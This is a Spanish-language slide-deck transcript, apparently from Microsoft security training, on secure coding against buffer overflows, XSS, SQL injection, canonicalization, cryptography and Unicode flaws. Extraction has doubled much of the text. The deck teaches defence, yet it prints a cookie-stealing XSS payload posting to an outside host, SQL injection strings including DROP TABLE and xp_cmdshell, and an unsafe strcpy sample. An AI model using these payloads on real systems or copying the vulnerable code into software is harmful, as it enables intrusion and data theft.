Escritura de código seguro: defensa contra las amenazas.

52
Escritura Escritura de de código código seguro: seguro: defensa defensa contra contra las las amenazas amenazas

Transcript of Escritura de código seguro: defensa contra las amenazas.

Page 1: Escritura de código seguro: defensa contra las amenazas.

EscrituraEscritura dede códigocódigo seguro:seguro: defensadefensa contracontra laslas amenazasamenazas

Page 2: Escritura de código seguro: defensa contra las amenazas.

ContenidoContenidoLaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 3: Escritura de código seguro: defensa contra las amenazas.

RequisitosRequisitos previosprevios parapara lala sesiónsesión

ExperienciaExperiencia enen desarrollodesarrollo concon Microsoft®Microsoft®VisualVisual Basic®,Basic®, MicrosoftMicrosoft VisualVisual C++®C++® oo C#C#

NivelNivel 200200

Page 4: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguro

Defensa contra problemas de memoriaDefensa contra problemas de memoria

Defensa contra errores aritméticosDefensa contra errores aritméticos

Defensa contra secuencias de comandos Defensa contra secuencias de comandos entre sitiosentre sitios

Defensa contra inyecciones de SQLDefensa contra inyecciones de SQL

Defensa contra problemas de Defensa contra problemas de canonizacióncanonización

Defensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografía

Defensa contra problemas de UnicodeDefensa contra problemas de Unicode

Defensa contra la denegación de servicioDefensa contra la denegación de servicio

Page 5: Escritura de código seguro: defensa contra las amenazas.

LaLa necesidadnecesidad dede disponerdisponer dede  códigocódigo  seguroseguro

“Puerto de EE.UU. atacado por un pirata del Reino Unido”

“Varias corporaciones dicen que perdieron 10 millones de dólares en un único ataque””

“Hasta 1500 sitios Web pudieron haberse visto afectados por un ataque reciente”

“La piratería cuesta más de 4300 puestos de trabajo y 850 millones de dólares en daños””

“El virus Sobig causó unos daños económicos de 30000 millones de dólares en todo el mundo”” “Los ataques costarán a la

economía mundial 1,6 trillones de dólares estadounidenses este año”

Page 6: Escritura de código seguro: defensa contra las amenazas.

EscenariosEscenarios dede amenazasamenazas

EmpleadosEmpleados queque sese conectanconectan aa lala redred dede lala empresaempresa

Por cable, inalámbrica, acceso telefónico, VPNPor cable, inalámbrica, acceso telefónico, VPNPCs de la empresa, sistemas propiedad de PCs de la empresa, sistemas propiedad de los usuarioslos usuarios

Empleados que se conectan a otras redesEmpleados que se conectan a otras redesZonas activas de Internet, redes asociadas, Zonas activas de Internet, redes asociadas, banda anchabanda ancha

Asociados que se conectan a la red de la Asociados que se conectan a la red de la empresaempresa

Autenticación local frente a federadaAutenticación local frente a federada

Invitados anónimosInvitados anónimos

Nuevos escenarios y nuevas amenazasNuevos escenarios y nuevas amenazas

Page 7: Escritura de código seguro: defensa contra las amenazas.

PosiblesPosibles atacantesatacantes

LadronesLadrones

TimadoresTimadores

VándalosVándalos

CriminalesCriminales

HackersHackers

No debe sorprenderle que se produzcan ataquesNo debe sorprenderle que se produzcan ataques

Page 8: Escritura de código seguro: defensa contra las amenazas.

TiposTipos comunescomunes dede ataqueataque

Errores de conexión

Ataquesorganizativos

Datos restringidos

Infracciones accidentales

de la seguridad

Ataquesautomatizados

Hackers

Virus, caballos de Troya

y gusanos

Denegación de servicio (DoS)

DoS

Page 9: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 10: Escritura de código seguro: defensa contra las amenazas.

QuéQué eses unun desbordamientodesbordamiento dede búferbúfer

OcurreOcurre cuandocuando loslos datosdatos superansuperan elel tamañotamaño esperadoesperado yy sobrescribensobrescriben otrosotros valoresvalores

Se produce principalmente en código Se produce principalmente en código C/C++ no administradoC/C++ no administrado

Incluye cuatro tipos:Incluye cuatro tipos: Desbordamientos de búfer basados en pilasDesbordamientos de búfer basados en pilas

Desbordamiento de memoria dinámicaDesbordamiento de memoria dinámica

Sobrescrituras de punteros de función y de Sobrescrituras de punteros de función y de V-tableV-table

Sobrescrituras de manejadores de Sobrescrituras de manejadores de excepcionesexcepciones

LoLo puedenpueden explotarexplotar loslos gusanosgusanos

Page 11: Escritura de código seguro: defensa contra las amenazas.

Posible resultado Objetivo del pirata

Infracción de accesoRealizar ataques de denegación de servicio contra los servidores

Inestabilidad Interrumpir el funcionamiento normal del software

Inyección de código

Conseguir privilegios para su propio códigoExplotar datos empresariales fundamentalesRealizar acciones destructivas

PosiblesPosibles resultadosresultados dede loslos desbordamientosdesbordamientos dede búferbúfer

Page 12: Escritura de código seguro: defensa contra las amenazas.

void UnSafe (const char* uncheckedData)

{

int anotherLocalVariable;

strcpy (localVariable, uncheckedData);

}

char localVariable[4];

EjemploEjemplo dede desbordamientodesbordamiento dede búferbúfer basadobasado enen pilapila

Parte superior de la pila

char[4]

int

Dirección de retorno

Page 13: Escritura de código seguro: defensa contra las amenazas.

Desbordamiento de memoria Desbordamiento de memoria dinámicadinámica

SobrescribenSobrescriben datosdatos almacenadosalmacenados enen la la memoria dinámica (HEAP)memoria dinámica (HEAP)

Son más difíciles de explotar que un Son más difíciles de explotar que un desbordamiento de búferdesbordamiento de búfer

Datos

Puntero

Datos

Datos

Puntero

Puntero

strcpystrcpy xxxxxxxxxxxxxxxxxxxxxxxxxxxx

Page 14: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra loslos desbordamientosdesbordamientos dede búferbúfer (1(1 dede 2)2)TengaTenga muchomucho cuidadocuidado cuandocuando utilice:utilice:

strcpystrcpy

strncpystrncpy

CopyMemoryCopyMemory

MultiByteToWideCharMultiByteToWideChar

Use la opción de compilación /GS de Use la opción de compilación /GS de Visual C++ para detectar Visual C++ para detectar desbordamientos de búferdesbordamientos de búfer

Utilice strsafe.h para lograr un Utilice strsafe.h para lograr un tratamiento más seguro de los búferestratamiento más seguro de los búferes

Page 15: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra loslos desbordamientosdesbordamientos dede búferbúfer (2(2 dede 2)2)CompruebeCompruebe todostodos loslos índicesíndices dede matricesmatrices

Utilice clases de empaquetadores Utilice clases de empaquetadores existentes para lograr un tratamiento existentes para lograr un tratamiento seguro de las matricesseguro de las matrices

Compruebe las longitudes de rutas de Compruebe las longitudes de rutas de acceso a archivos mediante _MAX_PATHacceso a archivos mediante _MAX_PATH

Utilice métodos reconocidos de Utilice métodos reconocidos de procesamiento de rutas de acceso a procesamiento de rutas de acceso a archivos, como splitpatharchivos, como splitpath

Utilice código administrado, pero preste Utilice código administrado, pero preste atención a PInvoke y COM Interopatención a PInvoke y COM Interop

Page 16: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 17: Escritura de código seguro: defensa contra las amenazas.

ErroresErrores aritméticosaritméticos

SeSe producenproducen cuandocuando sese superansuperan laslas limitacioneslimitaciones dede unauna variablevariable

Generan errores graves en tiempo Generan errores graves en tiempo de ejecuciónde ejecución

Suelen pasarse por alto y subestimarseSuelen pasarse por alto y subestimarse

Incluyen:Incluyen:Desbordamiento: valor demasiado grande Desbordamiento: valor demasiado grande para un tipo de datospara un tipo de datos

Subdesbordamiento: valor demasiado Subdesbordamiento: valor demasiado pequeño para un tipo de datospequeño para un tipo de datos

Page 18: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra erroreserrores aritméticosaritméticos

SeaSea conscienteconsciente dede laslas limitacioneslimitaciones dede loslos tipostipos dede datosdatos elegidoselegidos

Escriba código de defensa que Escriba código de defensa que compruebe si hay desbordamientoscompruebe si hay desbordamientos

Considere la posibilidad de escribir Considere la posibilidad de escribir funciones seguras reutilizablesfunciones seguras reutilizables

Considere la posibilidad de utilizar una Considere la posibilidad de utilizar una clase plantilla segura (si está clase plantilla segura (si está programando en C++)programando en C++)

Page 19: Escritura de código seguro: defensa contra las amenazas.

DemostraciónDemostración 11 ProblemasProblemas dede memoriamemoria yy erroreserrores dede  tipotipo dede datosdatos

InvestigaciónInvestigación dede loslos desbordamientosdesbordamientos dede búferbúfer

UsoUso deldel modificadormodificador dede compilacióncompilación /GS/GSUsoUso dede STRSAFE.HSTRSAFE.H

RealizaciónRealización dede cálculoscálculos aritméticosaritméticos segurosseguros

Page 20: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 21: Escritura de código seguro: defensa contra las amenazas.

QuéQué sonson laslas secuenciassecuencias dede comandoscomandos entreentre sitiossitios

UnaUna técnicatécnica queque permitepermite aa loslos hackers:hackers:Ejecutar una secuencia de comandos Ejecutar una secuencia de comandos malintencionada en el explorador Web malintencionada en el explorador Web de un clientede un cliente

Insertar etiquetas <script>, <object>, Insertar etiquetas <script>, <object>, <applet>, <form> y <embed><applet>, <form> y <embed>

Robar información de la sesión Web y cookies Robar información de la sesión Web y cookies de autenticaciónde autenticación

Tener acceso al equipo clienteTener acceso al equipo clienteCualquier página Web que produzca

código HTML que contenga datos proporcionados por el usuario es vulnerable

Page 22: Escritura de código seguro: defensa contra las amenazas.

DosDos explotacionesexplotaciones frecuentesfrecuentes dede  laslas  secuenciassecuencias dede comandoscomandos entreentre sitiossitios

AtaquesAtaques aa plataformasplataformas dede correocorreo electrónicoelectrónico yy panelespaneles dede discusióndiscusión basadosbasados enen WebWeb

Uso de etiquetas <form> de HTML para Uso de etiquetas <form> de HTML para redirigir información privadaredirigir información privada

Page 23: Escritura de código seguro: defensa contra las amenazas.

AtaquesAtaques basadosbasados enen FormForm (1(1 dede 2)2)

Response.Write(“Bienvenido” & Request.QueryString(“UserName”))

Page 24: Escritura de código seguro: defensa contra las amenazas.

AtaquesAtaques basadosbasados enen FormForm (2(2 dede 2)2)

<a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> >

here</a>

Page 25: Escritura de código seguro: defensa contra las amenazas.

DemostraciónDemostración 22SecuenciasSecuencias dede comandoscomandos

entreentre sitiossitios

InvestigaciónInvestigación dede secuenciassecuencias dede comandoscomandos  entreentre  sitiossitios

Page 26: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra secuenciassecuencias dede comandoscomandos entreentre sitiossitios

No:No:Confíe en los datos proporcionados por los Confíe en los datos proporcionados por los usuariosusuarios

Repita datos especificados por los usuarios Repita datos especificados por los usuarios basados en Web a menos que los haya basados en Web a menos que los haya validadovalidado

Almacene información secreta en cookiesAlmacene información secreta en cookies

Sí:Sí:Utilice la opción de cookie HttpOnlyUtilice la opción de cookie HttpOnly

Utilice el atributo de seguridad <frame>Utilice el atributo de seguridad <frame>

Aproveche las características de ASP.NETAproveche las características de ASP.NET

Page 27: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 28: Escritura de código seguro: defensa contra las amenazas.

QuéQué eses lala inyeccióninyección dede SQLSQL

LaLa inyeccióninyección dede SQLSQL es:es:El proceso de agregar instrucciones SQL El proceso de agregar instrucciones SQL con los datos especificados por el usuariocon los datos especificados por el usuario

Los hackers la utilizan para:Los hackers la utilizan para:Examinar bases de datosExaminar bases de datos

Eludir la autorizaciónEludir la autorización

Ejecutar varias instrucciones SQLEjecutar varias instrucciones SQL

Llamar a procedimientos almacenados Llamar a procedimientos almacenados integradosintegrados

Page 29: Escritura de código seguro: defensa contra las amenazas.

EjemplosEjemplos dede inyeccióninyección dede SQLSQL

SiSi lala variablevariable IDID sese leelee directamentedirectamente dede unun  cuadrocuadro dede textotexto dede unun formularioformulario WebWeb oo  dede  Windows,Windows, elel usuariousuario podríapodría introducirintroducir cualquieracualquiera dede loslos siguientessiguientes valores:valores:

ALFKI1001ALFKI1001

ALFKI1001' or 1=1 --ALFKI1001' or 1=1 --

ALFKI1001' DROP TABLE OrderDetail --ALFKI1001' DROP TABLE OrderDetail --

ALFKI1001' exec xp_cmdshell('fdisk.exe') --ALFKI1001' exec xp_cmdshell('fdisk.exe') --

sqlString = "SELECT HasShipped FROM"+ " OrderDetail WHERE OrderID ='"+ ID + "'";

Page 30: Escritura de código seguro: defensa contra las amenazas.

DemostraciónDemostración 33InyecciónInyección dede SQLSQL

InvestigaciónInvestigación dede problemasproblemas porpor inyeccióninyección dede SQLSQL

UsoUso dede consultasconsultas parametrizadasparametrizadas parapara defendersedefenderse  contracontra lala inyeccióninyección dede SQLSQL

Page 31: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra inyeccionesinyecciones dede SQLSQLLimpie Limpie todostodos loslos datosdatos especificadosespecificados porpor loslos

usuariosusuariosConsidere que todos los datos de entrada son Considere que todos los datos de entrada son peligrosos mientras no se demuestre lo contrariopeligrosos mientras no se demuestre lo contrario

Busque los datos válidos y rechace todos los demásBusque los datos válidos y rechace todos los demás

Considere la posibilidad de utilizar expresiones Considere la posibilidad de utilizar expresiones regulares para quitar los caracteres no deseadosregulares para quitar los caracteres no deseados

Ejecute el código con el menor privilegio Ejecute el código con el menor privilegio posibleposible

Nunca ejecute código como “sa”Nunca ejecute código como “sa”

Restrinja el acceso a los procedimientos almacenados Restrinja el acceso a los procedimientos almacenados integradosintegrados

Utilice procedimientos almacenados o Utilice procedimientos almacenados o consultas de SQL parametrizadas para tener consultas de SQL parametrizadas para tener acceso a los datosacceso a los datos

No muestre los errores de ODBCNo muestre los errores de ODBC

Page 32: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de memoriaDefensa contra problemas de memoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de comandos Defensa contra secuencias de comandos entre sitiosentre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas deDefensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de servicioDefensa contra la denegación de servicio

Page 33: Escritura de código seguro: defensa contra las amenazas.

ProblemasProblemas dede canonizacióncanonización

SueleSuele haberhaber másmás dede unauna formaforma dede denominardenominar  algoalgo

Existen representaciones alternativas Existen representaciones alternativas para:para:

Nombres de archivoNombres de archivo

Direcciones URLDirecciones URL

Dispositivos (como impresoras)Dispositivos (como impresoras)

Los hackers pueden explotar código que Los hackers pueden explotar código que toma decisiones basándose en nombres toma decisiones basándose en nombres de archivo o direcciones URLde archivo o direcciones URL

Page 34: Escritura de código seguro: defensa contra las amenazas.

ProblemasProblemas dede canonizacióncanonizaciónEjemploEjemplo 1:1: nombresnombres dede archivoarchivo

1.1. MiArchivoLargo.txtMiArchivoLargo.txt2.2. MiArchivoLargo.txt.MiArchivoLargo.txt.3.3. MiArch~1.txtMiArch~1.txt4.4. MiArchivoLargo.txt::$DATAMiArchivoLargo.txt::$DATA

Page 35: Escritura de código seguro: defensa contra las amenazas.

HayHay muchasmuchas formasformas dede representarrepresentar caracterescaracteres enen InternetInternet

ProblemasProblemas dede canonizacióncanonizaciónEjemploEjemplo 2:2: representaciónrepresentación dede caracterescaracteres

http://www.microsoft.com/technet/security

EsEs igualigual queque

http://www%2emicrosoft%2ecom%2ftechnet%2fsecurity

http://www.microsoft.com%c0%aftechnet%c0%afsecurity

http://www%25%32%65microsoft.com/technet/security

http://172.43.122.12 = http://2888530444

Page 36: Escritura de código seguro: defensa contra las amenazas.

DemostraciónDemostración 44 ProblemasProblemas dede canonizacióncanonización

InvestigaciónInvestigación dede laslas decisionesdecisiones dede seguridadseguridad basándosebasándose enen nombresnombres dede

archivoarchivo

Page 37: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra problemasproblemas dede  canonizacióncanonización

UtiliceUtilice lala seguridadseguridad deldel sistemasistema dede archivosarchivos parapara restringirrestringir elel accesoacceso aa datosdatos  privadosprivados

No tome nunca una decisión No tome nunca una decisión basándose en un nombrebasándose en un nombre

Deshabilite la opción de rutas de Deshabilite la opción de rutas de acceso primarias de IISacceso primarias de IIS

Page 38: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 39: Escritura de código seguro: defensa contra las amenazas.

DebilidadesDebilidades enen lala criptografíacriptografía

UsoUso inapropiadoinapropiado dede algoritmosalgoritmosCreación de los suyos propiosCreación de los suyos propios

Uso de algoritmos débilesUso de algoritmos débiles

Aplicación incorrectaAplicación incorrecta

No mantener las claves segurasNo mantener las claves segurasAlmacenamiento inseguroAlmacenamiento inseguro

Uso prolongadoUso prolongado

El factor humanoEl factor humano

ClaveTexto sin cifrar Texto cifrado

Algoritmo

Necesito tres elementos de los anteriores para descifrar

sus datos

Page 40: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra debilidadesdebilidades enen  lala  criptografíacriptografía

RecicleRecicle laslas clavesclaves periódicamenteperiódicamente

Utilice ACL para restringir el acceso a las Utilice ACL para restringir el acceso a las clavesclaves

Almacene las claves en un dispositivo Almacene las claves en un dispositivo externoexterno

Utilice SACL para supervisar las Utilice SACL para supervisar las actividadesactividades

Utilice claves largas para ofrecer Utilice claves largas para ofrecer mayor seguridadmayor seguridad

Utilice DPAPI para simplificar la Utilice DPAPI para simplificar la administración de claves, si es posibleadministración de claves, si es posible

No implemente sus propias rutinas No implemente sus propias rutinas criptográficascriptográficas

Page 41: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguro

Defensa contra problemas de memoriaDefensa contra problemas de memoria

Defensa contra errores aritméticosDefensa contra errores aritméticos

Defensa contra secuencias de comandos Defensa contra secuencias de comandos entre sitiosentre sitios

Defensa contra inyecciones de SQLDefensa contra inyecciones de SQL

Defensa contra problemas de Defensa contra problemas de canonizacióncanonización

Defensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografía

Defensa contra problemas de UnicodeDefensa contra problemas de Unicode

Defensa contra la denegación de servicioDefensa contra la denegación de servicio

Page 42: Escritura de código seguro: defensa contra las amenazas.

ProblemasProblemas dede UnicodeUnicodeErroresErrores frecuentesfrecuentes

Tratamiento de un carácter Unicode como un Tratamiento de un carácter Unicode como un único byteúnico byte

Cálculo incorrecto del tamaño de búfer Cálculo incorrecto del tamaño de búfer necesarionecesario

Uso incorrecto de MultiByteToWideCharUso incorrecto de MultiByteToWideChar

Validación de los datos antes de la conversión, Validación de los datos antes de la conversión, pero no despuéspero no después

ResultadosResultadosDesbordamientos de búferDesbordamientos de búfer

Algunas secuencias de caracteres Algunas secuencias de caracteres posiblemente peligrosas pueden entrar en sus posiblemente peligrosas pueden entrar en sus rutinas de validaciónrutinas de validación

Page 43: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra problemasproblemas dede  UnicodeUnicode

CalcularCalcular tamañostamaños dede búferbúfer mediantemediante sizeofsizeof  (WCHAR)(WCHAR)

Conocer los estándares GB18030 Conocer los estándares GB18030 (4 bytes por carácter)(4 bytes por carácter)

Convertir de Unicode a ASCII y después Convertir de Unicode a ASCII y después validarvalidar

Utilizar IsNLSDefinedString durante la Utilizar IsNLSDefinedString durante la validaciónvalidación

Utilizar MultiByteToWideChar Utilizar MultiByteToWideChar correctamente para proporcionar un búfer correctamente para proporcionar un búfer suficientesuficiente

Page 44: Escritura de código seguro: defensa contra las amenazas.

DemostraciónDemostración 55 ProblemasProblemas dede UnicodeUnicode

InvestigaciónInvestigación dede problemasproblemas dede UnicodeUnicode

Page 45: Escritura de código seguro: defensa contra las amenazas.

AgendaAgenda

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 46: Escritura de código seguro: defensa contra las amenazas.

AtaquesAtaques dede denegacióndenegación dede servicioservicio

InsuficienciaInsuficiencia dede CPUCPU

Insuficiencia de memoriaInsuficiencia de memoria

Insuficiencia de recursosInsuficiencia de recursos

Insuficiencia de redInsuficiencia de red

Page 47: Escritura de código seguro: defensa contra las amenazas.

DefensaDefensa contracontra loslos ataquesataques dede denegacióndenegación dede servicioservicio

ConsidereConsidere lala seguridadseguridad comocomo unauna característicacaracterística dede diseñodiseño

No confíe en los datos proporcionados No confíe en los datos proporcionados por los usuariospor los usuarios

Aplique inteligencia en caso de errorAplique inteligencia en caso de error

Pruebe la seguridadPruebe la seguridad

Page 48: Escritura de código seguro: defensa contra las amenazas.

ResumenResumen dede lala sesiónsesión

LaLa necesidadnecesidad dede disponerdisponer dede códigocódigo seguroseguroDefensa contra problemas de Defensa contra problemas de memoriamemoriaDefensa contra errores aritméticosDefensa contra errores aritméticosDefensa contra secuencias de Defensa contra secuencias de comandos entre sitioscomandos entre sitiosDefensa contra inyecciones de SQLDefensa contra inyecciones de SQLDefensa contra problemas de Defensa contra problemas de canonizacióncanonizaciónDefensa contra debilidades en la Defensa contra debilidades en la criptografíacriptografíaDefensa contra problemas de UnicodeDefensa contra problemas de Unicode Defensa contra la denegación de Defensa contra la denegación de servicioservicio

Page 49: Escritura de código seguro: defensa contra las amenazas.

PasosPasos siguientessiguientes1.1. MantenerseMantenerse informadoinformado sobresobre lala seguridadseguridad

Suscribirse a boletines de seguridad:Suscribirse a boletines de seguridad:

http://www.microsoft.com/security/security_bulletins/alerts2.ashttp://www.microsoft.com/security/security_bulletins/alerts2.aspp (este sitio está en inglés)(este sitio está en inglés)

Obtener las directrices de seguridad de Microsoft Obtener las directrices de seguridad de Microsoft más recientes:más recientes:

http://www.microsoft.com/security/guidance/http://www.microsoft.com/security/guidance/ (este sitio está en (este sitio está en inglés)inglés)

2.2. Obtener información de seguridad adicionalObtener información de seguridad adicional1.1. Buscar seminarios de aprendizaje en línea y Buscar seminarios de aprendizaje en línea y

presenciales:presenciales:

http://www.microsoft.com/seminar/events/http://www.microsoft.com/seminar/events/security.mspxsecurity.mspx (este sitio está en inglés)(este sitio está en inglés)

1.1. Buscar un CTEC local que ofrezca cursos prácticos:Buscar un CTEC local que ofrezca cursos prácticos:

http://www.microsoft.com/learning/http://www.microsoft.com/learning/ (este sitio está en inglés) (este sitio está en inglés)

Page 50: Escritura de código seguro: defensa contra las amenazas.

ParaPara obtenerobtener másmás informacióninformación

SitioSitio dede seguridadseguridad dede MicrosoftMicrosoft (todos(todos loslos usuarios)usuarios)

http://www.microsoft.com/securityhttp://www.microsoft.com/security (este sitio está en inglés)(este sitio está en inglés)

Sitio de seguridad de MSDN (desarrolladores)Sitio de seguridad de MSDN (desarrolladores)

http://http://msdn.microsoft.commsdn.microsoft.com/security/security (este sitio está en inglés)(este sitio está en inglés)

Sitio de seguridad de TechNet (profesionales Sitio de seguridad de TechNet (profesionales de IT)de IT)

http://www.microsoft.com/http://www.microsoft.com/technettechnet/security/security

Page 51: Escritura de código seguro: defensa contra las amenazas.

PreguntasPreguntas yy respuestasrespuestas

Page 52: Escritura de código seguro: defensa contra las amenazas.